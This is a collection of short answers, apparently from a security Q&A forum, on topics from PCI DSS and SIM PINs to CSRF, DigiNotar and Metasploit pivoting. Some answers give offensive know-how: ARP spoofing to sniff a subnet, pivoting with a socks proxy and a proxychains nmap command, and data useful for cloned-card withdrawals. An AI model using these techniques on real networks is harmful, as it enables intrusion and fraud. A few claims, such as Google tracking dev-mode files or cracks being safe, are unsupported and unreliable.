Less chatter is better.  One advantage of your scheme is that it doesn't require back-and-forth, it's a one-way request that is then followed up on with a wider bandwidth connection.

Authentication is the key.  Once you have a way to send authenticated commands to a server and have them validated and acted upon, the question of what transport you use becomes an add-on.  Solve that problem first, and then you can tack it onto whatever transport (SMS, SMTP, HTTP POST, ICMP ping, Avian carrier) you want to.

Public keys are better.  If you're going to try to send authenticated messages, don't screw around with "a one-time pad of keys, and a pre-shared key".  Just use certificates to encrypt and authenticate.  One-time pads are great except when they're not practical, which is usually.

HTH!


security of libgcrypt when cross-compiling for windows?

VirtualLock is not a security mechanism. It's a performance one.

There's no guarantee the VirtualLocked pages won't be swapped out. Even if they aren't, they'd still get dumped on "hibernation".

The equivalent for VirtualLock in POSIX is mlock, which is implemented by Cygwin(*) and will be used by libgcrypt.

Beyond memory locking, security-hardening encompasses a whole bunch of things to consider.

We assume libgcrypt is written with security as a priority, which includes many best practices to avoid stack overflows, buffer overflows, major flaws in the PRNG, etc.

This includes doing a best-effort attempt at avoiding sensitive data from being left around easily accessible. Sensitive data should be kept in memory for as little time is possible, and during this short time protected as best as possible.

libgcrypt uses mlock as part of this effort, and it will use it on any target platform that has it.

If it's not available, it will print a warning and move on (best-effort). Except in platforms where it doesn't print a warning for various reasons.

The reasons for not printing the warning in windows (that horrible comment) are probably a leftover from older times, when cygwin didn't have an mlock implementation, and Windows' VirtualLock was a nop in all the non-nt versions. Notice that that elsif is only reached if HAVE_MLOCK is false. Check your config.h file after running ./configure to verify yourself that it's set to true under Cygwin.

To summarize: to the best of libgcrypt's developers' knowledge, libgcrypt is properly hardened on all target platforms. If you have reasons to believe otherwise, you should probably file a bug to let them know.

*: Cygwin seems to actually bypass VirtualLock and use NtLockVirtualMemory directly.


First, the firewall will not identify it as an attack if the traffic is allowed.

Second, in the logs, you can see the port numbers that the communication is destined for. You can correlate those ports with the binaries that are listening to those ports on your machine. Look for the netstat command for your OS and version.

Third, you should configure your firewalls to reject incoming connection requests to that machine (or in general, depending on your needs).


Some of the non DBA workers (DEV, Fraud, analysts ... ) in my organization need direct access to databases to write their own queries.

...

  PCI DSS requirement 8.7 stats "Only database administrators have the ability to directly access or query databases"

The usual way of handling this is to create a scrubbed version of the database, with PAN data and other sensitive data, removed or replaced.  This scrubbed database is then outside of PCI scope, and can be directly queried by the people you describe.

(The Fraud people may need access to PAN data for their jobs... but they don't get to use free-form queries for that, you write an application which provides access to the data in the real database they need through pre-formed queries).

For developers and analysts, the scrubbed version should be sufficient to their needs.

You may wish to also consider the question of PII.  Data science analysts need access to that level of detail; developers may not.  That's outside DSS requirements, however.

There are a couple of drawbacks to this method:

Depending on the size of the source database, scrubbing may be expensive in time and resources.
The table indexes, which derive from the cardinality of the data, will be altered when you remove or replace indexed columns (such as PAN), meaning that performance measurements against the "scrubbed" database will not be 1:1 equivalent to the "real" database.


Sniffing the whole traffic within a network range

Assuming you're on a wired Ethernet network, you'd need to ARP Spoof-attack the layer 2/3 device in your network so your ethernet interface (in which Wireshark will be listening) could get all the traffic from the subnet. The ARP spoof will cause the network devices to believe you're computer's ethernet interface is the switch/router's path to send the frames. If you have direct access to the switch/router then it wouldn't be a problem, but most if the time this is not the case and that's why the ARP spoof is required.

Here's some explanation for it from Wireshark:

https://wiki.wireshark.org/CaptureSetup/Ethernet


How can an attacker tell when someone in a private network connects to the Internet?

I heard that your PC can get infected just by connecting to the Internet (even without the web).

Note that the source you linked does not say you can get infected by connecting to the Internet, but if you're connected to the Internet. Connecting to the Internet does not trigger an attack, it just opens the door for it.

Assuming I'm connected to a private home network, how can an attacker tell that I just connected to the Internet if I'm not browsing the Internet or doing something else that requests information from a server on the Internet?

S/he can't, and doesn't need to. Active attacks are continuously and blindly sent to all IP addresses without bothering to check who if anybody is connected. The moment you connect to the Internet these attacks start arriving at your border router.

Is my PC publicly announcing that it connected to the Internet?

Possibly, in many ways, depending on what exactly you mean by "publicly". For example, it may automatically register with Skype, Teredo, DynDNS or Dropbox, query several software vendors for updates or post your online status to WhatsApp. But none of these is known to draw attacks to it.

How can I prevent an attacker from finding my PC on the Internet?

Wrong question. The attacker does not look for your PC. S/he just attacks everything that is connected, and if your PC happens to be there it will be attacked. No finding involved.


Hard to say.

The most common cause for SSL/TLS handshake failure is an inability to agree upon a common protocol and cipher.  Because the protocol/cipher suite presented by the client is going to vary widely from client to client, and the suite supported by the server is going to vary widely from server to server, there's no way to do a real statistical analysis.

There are real numbers available for things like supported protocols and ciphers.  Those can be used to infer things like failure rates for older browsers (IE6, Java 6).  And then there's actual breakage like Microsoft's ServerKeyExchange problem - quantifiable as the result of an intersection between two pieces of software, but how often to they intersect in the real world?  Hard to say, and not measured.


Is it a security hole to have a stored procedure output the key and certificate names?

So after some time and research, I think I've answered my own question.

When using this method of opening and closing keys, you don't set any permissions, therefore nothing that doesn't already have the appropriate permissions (of its own) can use the stored procedure and receive the outputted Key and Cert names --the OpenKey and CloseKey stored procedures work under the permissions of the calling stored procedure, therefore only the calling stored procedure with the permissions will be able to use and see the Key and Cert names outputted by the OpenKey procedure.

In summary: it seems outputting the Key and Cert names in the OpenKey stored procedure should not create a security hole, provided no permissions are set for it.

I thought I'd share my findings, if perhaps it would help someone else.


Authentication methods without trusting 3rd parties unless explicitly indicated

Please define what exactly you want to authenticate about the party you are communicating with.  Do you want to authenticate the name on their driver's license?  That they have a valid credit card number you can charge?  That they control a particular domain name?  That they are your customer and control account number such-and-such?   Something else?

For many web sites, all they need to know is that you are the same individual who created the account initially.  When you log into your Gmail email account, all you need to do is to prove that you are the same person who initially created that account.

For many e-commerce web sites, all they need to know is that you have a valid credit card number and will pay up.  For instance, when you log into your Amazon account and buy something, all that they need to know is that you are the same person who initially created that account and that your credit card number is valid and the charges on that credit card will be accepted.

Neither of these scenarios require certificates (they can be accomplished with certificates, but they can be accomplished in other ways as well).

In short, authentication is a broad subject.  The way we authenticate another party depends upon what, exactly, we want to authenticate about them and what guarantees we want the authentication method to provide.


Your plan is full of holes. and these cannot be fixed.

if you allow PDFs out you allow anything that can be converted to pdf out.

if you allow any email out source code can be copied and pasted into an email.

if you allow web access source code can be copied and pasted into gmail.

I think the only solution is to keep the most secret stuff on a server that does not have access to the internet. and only allow access to this server by physical presence

It's probably easier and cheaper to hire trustworthy staff.


Dataset for testing false positive of antivirus

I have plenty of old tools like network tools that are still being detected as false-positive, even if they are tools that have been used for years. Examples: Brutus, Blue's port scanner. Even EasyCD/DVD Burner is detected as possibly dangerous, which is absurd.

Also, pretty much any game crack/keygen is detected as dangerous even in most cases they are perfectly safe.

I have not seen yet even one of the AV companies update their detection status vs. such programs.


Is there a reason to protect SIM with PIN?

When SIMs were introduced, the purpose was to contain the user's identification for the sake of the mobile network. The small, relatively cheap physical objects were a convenient way of deploying subscriber identities separately from the bulky, expensive phone that may or may not have been supplied by the network operator. (Hence the name subscriber identity module.) The primary asset on the SIM is the identity of the user (in his role as subscriber to the mobile phone service); a secondary asset is the cryptographic key that protects it. See Security Engineering by Ross Anderson, §20.3.2 (§17.3.3 in the first edition).

You'll note that this is an asset of the network operator. The user has little incentive in protecting his identity. In practice, the loss of this asset means that the phone has been stolen. The loss of the phone is usually a higher cost than the possible loss of communication credit to the thief.

Over time, phones started to have more and more features. In particular, on basic mobile phones, the SIM tends to contain private data such as an address book. This private data is an asset of the user. With the move towards feature phones and smartphones, the private data escaped the SIM, which went back to containing little more than the subscriber's identity.

When you boot a basic phone, you're typically prompted to enter a 4-digit code. That's authentication for the SIM: basic phones tend not to have any authentication. When you boot a smartphone, it prompts you for its own authentication, and most users don't bother with a SIM PIN on top. I don't have figures, but I believe that most people do have one PIN (or other authentication factor such as gestures) for their mobile device, either for the SIM or for the phone. Miraculously (well, it's partly by design), the authentication or lack thereof correlates with the value of the assets to the user.

Access to the SIM allows the thief to impersonate the user, but only for a limited time, until it is reported stolen. If the thief has an unlocked SIM, he can access the user's voicemail and SMS history. This is a reason to protect your SIM even in a smartphone, but a weak one for most people: mobile phone theft is predominantly about the value of the phone, also more and more about leveraging smartphone data, but rarely targeted at the victim's private information. If you're likely to be targeted for your private data (say, if you regularly negociate multimillion deals on your phone), you'd better protect your SIM.

An unprotected SIM allows the thief to make phone calls without paying, and most importantly, anonymously. There are two main ways to make anonymous mobile phone calls: with a stolen SIM, if the thief isn't caught; and with a prepaid SIM, if it is bought anonymously (typically for cash or with a stolen credit card). A stolen SIM is inconvenient for that purpose in that it has a limited useful life (only until the SIM is blacklisted, which the operator can do). If the stolen SIM can go undetected for long enough to be fenced, it is much more valuable, as it makes the link between the SIM and the thief hard to trace.

If the thief uses the SIM, his approximate location becomes known. This is rarely a concern. The location of the theft is broadly known anyway. The identity of the thief is not known a priori; what is valuable is “where was criminal X at time T?”, not “where was the thief of this SIM at time T?”. The thief location is only useful if you can correlate the stolen SIM with the criminal in the first place. In practice, the phone is more likely to be traced than the SIM (both are equally traceable by the operator or law enforcement).

Note: this answer assumes that the thief is unable to guess or bypass the SIM PIN. This is a realistic assumption in most situations, as the SIM will lock after 3 invalid guesses, and the cost of breaking the SIM is typically higher than the assets.


What should I store in the case that a user posts a threatening post?

I recommend you to log user id and IP each time someone authenticate. That way, if a user post something, you know where it came from. Having a log like that is also useful for other purposes, like notifying the user in case you identify multiple IPs are connected at the same time, block consecutive attempts, etc.

But for your specific example, I think you don't need to worry about that as most of the webservers (with default settings) will generate a useful log. In case of an extreme case (as you commented), you can go to those logs and correlate times and actions (URL, POST) to identify IP addresses.

As said, an IP is not entirely a good identifier to locate a person, but if its given to the police, they may request to the ISP (who owns that IP block) for personal details. Depending on local laws, the ISP should or should not give such information.

By the way, if you are asking their phone number (and verifying through an SMS), that is by far more useful than the IP. Just handle that phone number to the police and they will know what to do with it.

Personally I dislike when a website asks for my phone number. I think is too private and in most of the cases unnecessary (unless the user wants another way to protect their account).


Confidentiality and Integrity violation in database security

1) If we consider knowing the availability of data is a type of
  confidentiality disclosure?

Yes, knowing the availability of data is a type of confidentiality violation. Example is error message revealing whether a username exists  or not in the database.

  2) What is the referential integrity problem in database security?

For database elements to be consistently synchronized, multiple tables which segregates data about a single attribute has to be linked properly. In otherwords, no rogue data set should exist.

Suppose I have an application with two database tables user_credentials & user_activity.

user_credentials has columns user_name and user_passwd.
user_activity has user_name & user_lastlogintime.

Referential integrity is the property by which both the tables have exactly all the same values in user_name field. This ensures consistency in accessing or removing the table elements.

  3) Can confidentiality violation lead to integrity violation?

It is possible. But both has to be considered separately. Consider a scenario where a broken hashing algorithm with a known collission is used. Knowledge about the broken algorithm can be used to bypass the integrity checks. But from an Information security perspective theintegrity violation happens because of the use of a broken algorithm, though it is a result of confidentiality compromise.


Is an encrypted connection to MS-SQL Server really safe?

"Encrypted connections" to SQL Server use SSL. That's about as good as you can get. Remember, though, that SSL protects only the connection, i.e. the data as it transits between the client and the SQL Server. It does nothing about how the data is stored on the server. It also does nothing about isolating connected clients from each other; that part is entirely up to SQL Server.

In the "connection string", the password is of course the sensitive part. Each client should have its own user account and password, so that in the event that one password is compromised (a likely event in the long run, unfortunately), you can reset that specific password, without impacting the other users. For password distribution, don't send it as cleartext over the Internet ! Which means: no email; if done Web-like, use HTTPS, not HTTP. In some contexts, it could be reasonable to exchange the password over a phone call.


Use Server 2012 Standard
The edition requirements for OCSP have been removed in Windows Server 2012.


How can the Cookie-to-header-token CSRF protection technique be thwarted by permissive CORS origin header?

Usually a CSRF token is available in the body of a response from the server. They're commonly inside a hidden input inside a form in an html response. If that page includes a Access-Control-Allow-Origin=* header, then any website on the internet could make a request for that page and get the CSRF token.


How do you find the key domain of the multiplication cipher efficiently?

You have 36 possible "characters" here.

If a single character is encrypted by E(C) = (c * k) % 36 then possible keys k are numbers that are coprime to 36, ie. gcd(k,36)=1. Furthermore it makes not much sense to consider numbers not between 1 and 36, because of the modulo.

As 36=2*2*3*3, the possible keys are basically all numbers not multiples of 2 and/or 3. That is:
5 7 11 13 17 19 23 25 29 31 35
Technically 1 too, but this would be no change from plaintext


Yes.
Source: https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gpummu-model
That's the first result in a search engine while looking for "MMU GPU".


You don't need to generate a new key unless you want to or the key has been compromised (but hopefully if you know they key was compromised you've long since replaced it).

Most CA's will let you reissue a cert with the same subject, simply updating the expiration date.


Are you aware of any CEO that went to jail because of Security Flaws?

Legally speaking, a corporation is one of the best "liability shields" you can have. It is its own entity that is, for most purposes, the entity that the rest of the world is interacting with when they interact with anyone empowered to represent it and make decisions on its behalf. It, and not its agents, bears the full brunt of any legal liability for damages caused by actions or inactions of the company or its agents.

As such, you're probably not going to convince the executive team, or the board of directors, or even middle management that they would bear any general liability for a breach of security. To do this, you would have to prove specific intent to harm; that an executive saw a name on a list of customers, didn't like that person or company, and wanted to hurt them, which in turn led to their deliberate decision not to fix a known security flaw. This is next to impossible; you can show all the evidence you want, but even if you have a recording of the CEO saying they wanted to harm this person's interests, you cannot prove that a CEO's decision to fix or not fix a flaw was motivated by this; it's all circumstantial (though a recording would go a pretty long way towards "preponderance of evidence").

There are, however, some instances where specific people can be held liable independently from the company. My wife, for instance, works with healthcare records. If she ever told anyone, even me, any specifics of that data, and that became public, it's her tail on the line for the HIPAA violation, even if her boss told her it was OK or even ordered her to divulge the information. I work for an alarm monitoring company; our alarm center agents, if they make the wrong mistake (even in good faith), can be held liable independently from the company for damages and wrongful death. Unfortunately, it happens. But, this liability does not extend to anyone who was not aware of the events at the time, so you're going to have a very hard time proving that an action by an agent on the lowest rung of the corporate ladder implicates the CEO.

Where you can hurt an executive is where it matters most; their wallet. Executives typically own a significant stake in their own companies, which forms a relatively large chunk of their net worth. The company is their shield, but it's also their livelihood, and it will take a beating if a security flaw in their systems is found, exploited, and subsequently makes it into the press. Corporations cannot go to jail, but they can be fined and sued to "death", and the executives lose all the money they had in corporate stocks and options.

Want proof that companies have gone bankrupt over security breaches? DigiNotar, a Dutch company that was a globally-trusted SSL/TLS certificate authority, was hacked in July 2011 and apparently again in late August of that year. Several fraudulent certificates were created using DigiNotar's systems, identifying the certificate holder as being the valid domain of major sites like Google, Yahoo, Mozilla, WordPress and the TOR Project. Those certificates were subsequently used in MITM attacks and other hilarity. DigiNotar did not know how many certificates were issued (the tally quickly reached the hundreds; we now know that 531 fraudulent certificates were created in this attack) and so could not guarantee they had all been revoked. So, Microsoft and most of the major browser manufacturers responded by simply revoking trust in DigiNotar's own trusted root certificate in the Windows OS and major browsers. Apple's response was delayed, but it did also update OSX/Safari to revoke DigiNotar's root certificate.

In addition, DigiNotar was responsible for one of the intermediate CAs used in the security system of the Dutch Government. That certificate was also believed to be compromised and was revoked by many browser manufacturers, and in the ensuing hilarity of real government websites losing trust (imagine browsing to the IRS website and being told by your browser that the site may be fraudulent; THAT's a screenshot I'd pay money for, and it happened to the Dutch counterpart Tax and Customs Administration), the Dutch Government stepped in on September 3, took control of DigiNotar's certificate operations, transitioned all government websites off of DigiNotar-rooted certificates to ones signed by uncompromised CAs, and issued a statement saying that DigiNotar would no longer issue government SSL certificates. DigiNotar filed for bankruptcy the same day.


There are a few options:

DNS record

If the attacker changes the DNS record (which is still often completely insecure) than they can convince the client a.com is at the IP address of b.com. However, because the client is expecting to be connected to a.com and the certificate will likely be for b.com, the client will get invalid certificate error. However, if lets say we redirect from a.google.com to b.google.com and the certificate is for *.google.com, then this attack may work.
MITM Redirect

You can just intercept the traffic and send it to the IP of b.com without changing the DNS records. The result is the same as in 1.
HTML Redirect

You can try to redirect a person from a.com to b.com using for example javascript or 303 redirect, but if HTTPS is being used to connect to a.com, you won't be able to do this without compromising a.com. This however does not necessarily require their certificate. Being able to do XSS attack may be enough.

In conclusion, HTTPS protects HTTP headers as well and the client knows what website it is trying to connect to, so it is not possible to do the redirect just with pure MITM.


What controls are necessary for encrypted data at rest be both available to authorized processes and secure from unauthorized use?

Security measures are always about a control which protects or mitigates certain threats.

For data at rest, one threat is theft of the physical storage units containing the data. If the control is that the data is encrypted, then the data is not released as a result of that physical theft.

Another threat is unauthorised access while the data is in the context of the solution system. If the control is that the data is encrypted, then non-authorised users cannot access it. Authorised users can provide the decryption key as part of their login session, so that the encrypted data is only available to them in the context of an authorised session. Alternatively, depending on the access method, the data could be pulled back to authorised users in encrypted form and decrypted locally; this provides protection against compromise of the data server sessions.

You specifically ask "What I don't understand is how a system can ensure that data is encrypted against unauthorized access, and that unauthorized access cannot also access the cryptographic key the systems needs available to it for authorized access"

The answer is that unauthorised users do not have access to the login session within which the authorised users provide the decryption key.


How does "Google password monitoring" work?

No, and the documentation you quote demonstrates that.   Specifically:

  ...The graph's indicators can assess password strength upon user login...

If they need the user to log in in order to assess the password strength, that's because that is the only time when they have the password in a form they can examine.  That precludes them from storing it in plaintext (or encrypted using a key they know) which would allow them to examine it at any time.


How to prove a picture was taken before a certain date?

In general, the problem of Secure Timestamping is actually a complex topic with no single right answer. There are two general approaches: 1) a trusted "Timestamping Authority" keeps logs of when stuff happened and everybody believes them because that's literally their job. 2) Using cryptography in some way. In general the crypto approaches don't work very well and can only prove that photo A was logged before photo B, but not the exact time.

There are lots of companies on the market who offer timestamping services based on one of these two approaches. How much you want to trust them depends on how transparent the company is with their practices, and what local law apply.

So, for your situation: it sounds like somebody is requiring you to do this (maybe for legal reasons?). You should find out level of trust they need in the timstamping authority. What you have come up with is to use Picassa or Flickr as a trusted Timestamping Authority. Depending on what you need the timestamp for, that might be ok. For example, if it's your friend to win a bet, then the upload time on Picassa or Flickr is probably fine. If this is to prove ownership of multi-billion dollar real estate holdings, then you may want to involve a notary.

Basically, ask yourself this question: is the dollar value that you stand to gain or lose greater than what it would cost to hack or bribe Picassa into changing a timestamp? If no then you're fine. If yes, then you need a more official timestamping service.


What info this EMV chip "skimmer" was actually capturing?

The article itself addresses this:

Banks can run a simple check to see if any card inserted into an ATM is a counterfeit magnetic stripe card that is encoded with data stolen from a chip card. But there may be some instances in which banks are doing this checking incorrectly or not at all during some periods, and experts say the thieves have figured out which ATMs will accept magnetic stripe cards that are cloned from chip cards.
“This suggests to me that the thieves plan to target an issuer where they know the CVV is not going to be checked,” said Charlie Harrow, solutions manager for global security at NCR, an ATM manufacturer.

My guess is that they're specifically capturing tag 57 (Track 2 equivalent data).  As the article says, this is not the same data that's encoded on the magstripe, but it does have the same account number.  If they have managed to figure out when an ATM is operating in offline mode (where it doesn't immediately check with the bank), this information is good enough to make a withdrawal - although it'll be detected as soon as the ATM goes back online and reports it.


Should I take over a compromised website from another hacker?

Not if you want to stay out of trouble.

What you are suggesting is vigilante action, and most legal systems do not look kindly upon that. Even though you may feel you are protecting other, less tech-savvy people, it would probably still constitute a crime.

What you could do, is try and find out if there are authorities to warn. This could be the hosting provider, the registrar, or the police of the country where the website is hosted. Or, if you believe the site has been hijacked, find either the owner or their remaining relatives.


Do I need a strong password on my home PC if I have a strong router password?

You do need a strong PC password. The reason for this is that UAC, a security system on all Windows computers since Vista, can be configured to ask for a password whenever making important changes to a computer. Indeed, it should be configured to do so, as you should be running a non-admin account to avoid nasty security issues. If your password is weak, it could potentially allow malicious software to guess it and bypass the security controls. While Windows makes an attempt to prevent programs from tampering with UAC using a technique called UIPI, it does not always succeed.

You can safely enable auto-login without a password, however.


I'm pretty confident that the simple answer is 'no'.  Encrypting data is a way to protect it from exposure, but that does not change the definition of scope.

Consider that if the user can decrypt it, than actually your application can decrypt it and, at least in principle, an attacker could subvert the system to display/decrypt information to which they should not have access.  Another way of looking at this is that saying "Only the user can..." is not defensible.  The user can do nothing that is not facilitated by your software on your computers.  You always have the risk that the system will be hacked in some way that allows a third-party access to the decryption keys.  If you are holding data in scope for HIPAA, encrypting it does not remove it from scope.


Are files created in Chrome OS developer mode tracked by Google?

You're asking two different questions here, so I shall address each:
Is a file I save in dev mode tracked by Google?
Yes, yes it is, Google doesn't really respect privacy, even if they say they do, and if you are in developer mode, you are a far more interesting target for tracking.
Is it invisible to Chrome OS if I save files in dev mode?
No, again - everything is visible, this is configurable in the settings (think of Windows OS with the hidden files option).
On a side note, a file is never truly "invisible" to an OS, there is always a way to make invisible files visible.


Try to forward that host and target port with reverse proxy and then set the reserve proxy address and port pointed to target as LHOST and LPORT.


access control-intersection of subjects’ permissions

The author is being vague, but may be trying to express the idea of a protection domain that is accessible by two or more persons, without creating a new permission that the persons share.

Assume it exists and has permissions (joe, rw-) (sam r--) and (bob rw-)  If we can also set the permission (~[joe|sam|bob] ---) then we have an unnamed security-domain-like-thing that only they can access.

I would
1. see if that description is consistent with the other descriptions in the chapter/section, and consider
2. writing the author and asking them (:-))


Derive a shared secret between different curves

For two parties using ECC, both must use the same curve. The reason for this is that ECC algorithms use an operation (EC addition) which is defined over a set (points on the given curve). Adding 2 points on a curve gives you another point on the same curve. For ElGamal encryption, for example, Alice adds and scalar-multiplies (which is the same thing as repeatedly adding) her plaintext (represented by points on her curve) with Bob's public key (points on his curve) to get a new EC points, which is the ciphertext. If Alice and bob are not using the curves, then these operations are not defined (i.e. points from different curves are like apples and oranges). Applying the EC addition algorithm to 2 points from different curves may be technically possible, but will give you meaningless results. This is true of all ECC primitives (encryption, key-exchange, authentication, etc.)

As for the "safety" of a curve, these is some subjectivity. If there is a theoretical attack that could lead to a $100 000 000 computer breaking your cipher in 250 years, do you consider this "safe"? Some organizations will say "yes", others "no". To independently asses the security of a curve, you would need at the minimum a  PhD in Group Theory, so I would just defer to a credible standard. If you're limited to pre-packaged curves, I would have no problem using such a curve that is approved by the Federal Office on for Information Security, where teams of said PhD-holding experts work on these problems.


Bypassing htmlspecialchars() for XSS (Reflected) and using an event handler is not an option in this case

This seems to be from xss_r/source/impossible.php. In the impossible level the vulnerabilities have been fixed, so they are not intended to be vulnerable.


If smart hardware is evil can I still securely run software?

This answer is a practical take on it.  I'll not theorize about encryption, but will take a round trip to earlier attempts at secretive computation.

Whilst I do agree with Numeron that at some point you will need to transform the cyphertext into a plaintext to read its contents, and at that point there is nothing that can can protect you from hardware; The idea of running computations that cannot be tracked by hardware is neither new nor it actually requires encryption.

If we assume that FHE works and can perform any computation (which is a far fetched assumption for today), then you can build a computer that can receive a cyphertext, perform computations on it, and return another cyphertext.  And all is fine.  But one important point there, is that you must have a client that will provide that server with the cyphertext and will receive the returned cyphertext.  That client must have hardware that you trust (i.e. that is not under the control of the adversary in any way), since it will need to encrypt and decrypt the cyphertext at some point.

If you want to dive deeper into the hardware remember that the X11 architecture is a client-server architecture.  And, moreover (i.e. deeper), an IRQ number that will serve a piece of data over the system bus can be understood as a client-server architecture.  In other words, at some point you need to have a client that you trust, there is no escape from that.

Now, funny enough, FHE is not needed to achieve secretive computation.  More than 15 years ago a bunch of guys from Indiana University thought of Parasitic Computing.  The idea is that you can perform computations on unsuspecting machines by injecting clever values into the TCP header checksum field (other methods are possible too).  A machine's answer (e.g. bad checksum) will give you the result of the computing.

But why parasitic computing is secretive, since all computation happens in plain text over the network?  Because the reassembly of the computations (if big enough and on a decent sized network) is comparable to encryption brute-forcing.

And it didn't stop there.  We had similar ideas for parasitic storage.

So yeah, those links above are just proof of concept systems.  Yet, quite doable.  The only thing that the parasitic computing do not meet is the requirement:

  have access to mathematically verified software (and additionally have access to clean hardware for Bootstrapping only)

Since bootstrapping a network does not really make sense.

(Extra note: figuring out if the X11 protocol could be used for parasitic computing, or even other protocols, is an interesting research idea.)


Securing data on Android app using a 6 digit PIN

My recommended option would be to either store the data, or at least store they key server side.

Since this isn't possible for you, I would bring it back to management that there are conflicting requirements.  I would argue that the keyspace is too small for the encryption to provide any real value.  I would recommend giving management a real world estimate of 156 guesses per second (from this article https://arstechnica.com/security/2015/08/cracking-all-hacked-ashley-madison-passwords-could-take-a-lifetime/), which would mean that a cracker would have all possible results within two hours.  Custom built cracking hardware will be much faster than a mobile device.  See here for an example: https://sagitta.pw/hardware/gpu-compute-nodes/brutalis/.

I would inform management that the offline requirement with such a small keyspace would preclude properly securing the data.  If they want the data to be secure, they will either need to budge on the 6 digit pin, or they will need to budge on the offline requirement.


My SIM card was stolen. What info besides contacts does it store?

Fundamentally, it stores (or more correctly embodies) your Identity (it's in the name) as far as your service provider is concerned. Anyone who has your not-yet-deactivated SIM is you, for the purpose of receiving calls or texts (and associated 2FA), incurring charges, etc.

Call your service provider Yesterday to have them kill the SIM.

As for breaking the PIN, does this question enlighten? It's the top hit I got from my first Google search.


Difference between AppSec Pipeline vs DevSecOps

DevOpsSec CI/CD pipelines generally refer to AWS environments with Auto Scaling and Lambda features, as well as provisioning through Terraform or CloudFormation. DevOps in 2017 should likely include agentless functionality, such as ServerSpec (and/or Test Kitchen). The DevOpsSec book from O'Reilly publishing does make mention to many of these paradigms. The book is actually accurately named DevOpsSec, not DevSecOps.

OWASP AppSec pipelines are different. They are not strictly CI/CD pipelines, but moreso a way of automating hybrid vulnerability (and therefore also software weakness) analysis. The platform Cigital ESP was a classic example of this, but many are looking to secure-appdev platforms such as CodeDx, ThreadFix, SD Elements, or Signal Sciences for a 2017-equivalent. In some cases, an AppSec pipeline could consist of a CI/CD pipeline (i.e., Jenkins) and plug in the functionality of other open-source projects such as find-sec-bugs and OWASP ZAP.

A true DevOps pipeline is a CI/CD pipeline with automated testing and deployment. This would require, for example, integration of ServerSpec, Packer (to launch AMIs), and Jenkins Jobs -- but with the additional ability to perform AB testing while utilizing an ELB for blue/green deployments. AppSec pipelines are never this compex, and I would argue that AppSec is more-difficult to integrate into these environments, especially if the AppSec teams are not communicating effectively with the DevOps teams. The first step in communication is to get the ability to perform automated OS (and package, e.g., rpm/yum, dpkg/apt) updates through Auto Scaling functionality. The surprise is that it's the same CI/CD and deployment techniques that can empower these.

The final piece to seeing full integration of an AppSec pipeline with a DevOps pipeline would be to utilize Start-Stop Lambda Cloudwatch for the automated hybrid vulnerability analysis.


Is it possible to "hack" an email account so that the emails always go to Spam?

Let's suppose your friend has the email jdoe@example.com.
If someone sent a lot of spam claiming to be jdoe@example.com, or even just another user e.g. jane@example.com, the anti-spam systems could conclude that “emails from jdoe@example.com / emails from example.com are likely to be spam” then affecting the legitimate mails from your friend. Somewhat similar could in theory happen as well if many people which were receiving their mails were now marking them as spam.
However, in theory this shouldn't really affect much. If your friend system has SPF and DKIM configured (which she has configured, right?), the reputation of those presumed bad emails impersonating her should be accounted separately from her real mails.
It would be quite different if her account/server was compromised, as then the bad emails would indeed "belong" to example.com.
Note however that the mail filtering engines used by the big providers are really complex, with lots of factors, and not even them know why their system takes certain actions. The fact that their are now no longer in the inbox may be completely unrelated to that negative attention. As mentioned, it may be a problem related to spam going out with their domain, but it could as well be due to someone else sending spam form an ip address not far from her server, and that affecting her mail score.
There are also fluctuations in how these systems consider mails, even with apparently no reason. If her mails were already near the line, a relatively small factor could have pushed them to the spam box. Although, given that it happened on all providers at the same time, it's likely there's some external factor driving it, even if unrelated to any of her doing. There might have been some recent configuration change on her server that affected how her emails are perceived by the systems.
Even for people working on mail deliverability, it can be hard to figure out why suddenly mails may have changed into going to spam.


Should I tell my boss the company's VPN is not secure?

This is a good question, and the answer to this precise question- "should I tell X that Y is not secure" is almost always "No." It's best to not give statements in a vacuum to a superior- provide context and explanations.

A boss needs actionable information and a framing to make a decision. No actionable information is conveyed in that particular choice of language, and no decision is presented. Furthermore, the terms "secure" and "not secure" have a useful meaning really only to security engineers, who understand that nothing is actually secure, and most things that are not-secure are may still be only rarely compromised, because there are so many not-secure things out there.

A better way to frame issues like this is to work through the implications and to convey the state of play as a decision that could be made. The decision here is whether to invest in changing to another protocol, perhaps through the change in IT providers.

A useful but not only way to frame a security investment decision is in terms of dollar spend on a form of insurance. There are many, many other consideration domains particularly in the context of security- regulatory and compliance, customer trust concerns that cannot be expressed in terms of dollars, and others. But in the same way that ROI is a useful common language to look at the investment and growth side of a business, insurance cost is a useful way to look at the risk side of a business.

Here, on the one side, one wants to look at the costs in dollars and time of doing an upgrade or transition, and the impact on the workflow.

On the other side, one wants to make an estimate of the costs of a breach. The basic process is to identify the potential outcomes of a breach, estimate the range of costs of dealing with them, and estimate the likelihood of them occurring within a particular timeframe.

This may seem like a lot to estimate, but all you want is a very, very rough ballpark of potential bad case scenarios, and for a small company with a small number of assets/customers/implications, one should be able to do that pretty quickly. All you really need to determine is if you talking about an expected loss of $1,000, $10,000, $100,000 or $1,000,000.

The cost of the upgrade is the insurance against the potential loss. A boss will be able to decide whether to get that insurance. If they do, great. If they don't, that's ok, too. If after the process you realize that some of the costs or risks were misunderestimated, as the saying goes, welcome to the club! Just continue the dialogue. The boss will appreciate it.

Good luck.


Help understanding pivoting and port forwading

You can use a meterpreter payload to route into another network, but this is not a traditional route, as it will only forward TCP connections. As per the doc I think you were following.

  My question is, how can I then attempt to gain access to another machine, say brute force `10.10.10.11' ssh port?

Within metasploit, it should use its internal routing information and you can aim SSH related tools to 10.10.10.11:22 and it should work via the pivoting payload.

  Also in an effort to gain a better understanding of what metesploit is doing, how could I also achieve this setup with proxychains? and would this allow me to use the kali tools on my host: 192.168.0.10 directly on the target network 10 network?

You need to run an auxiliary socks proxy from within metasploit (considering you're using the same exploitation and pivoting method) using something like auxiliary/server/socks4a, to which you aim proxychains at and use it with cmdline tools. Ultimately you could run from your command line something like this:
proxychains nmap -sT -F 10.10.10.22.

Here's some resources for you to study and experiment:

https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm [pretty sure you know this one]
https://www.offensive-security.com/metasploit-unleashed/proxytunnels/
https://nullsweep.com/pivot-cheatsheet-for-pentesters/
http://proxychains.sourceforge.net/


What will the effect of the GDPR be on password dumps?

GDPR relates specifically to personally identifiable information, that is information that could be reasonably used to identify a person, like address, email address, user names, IP address.

If the password dump contains only a password and no username, account details or IP address, it is likely that they would not be considered PII for the purposes of GDPR.

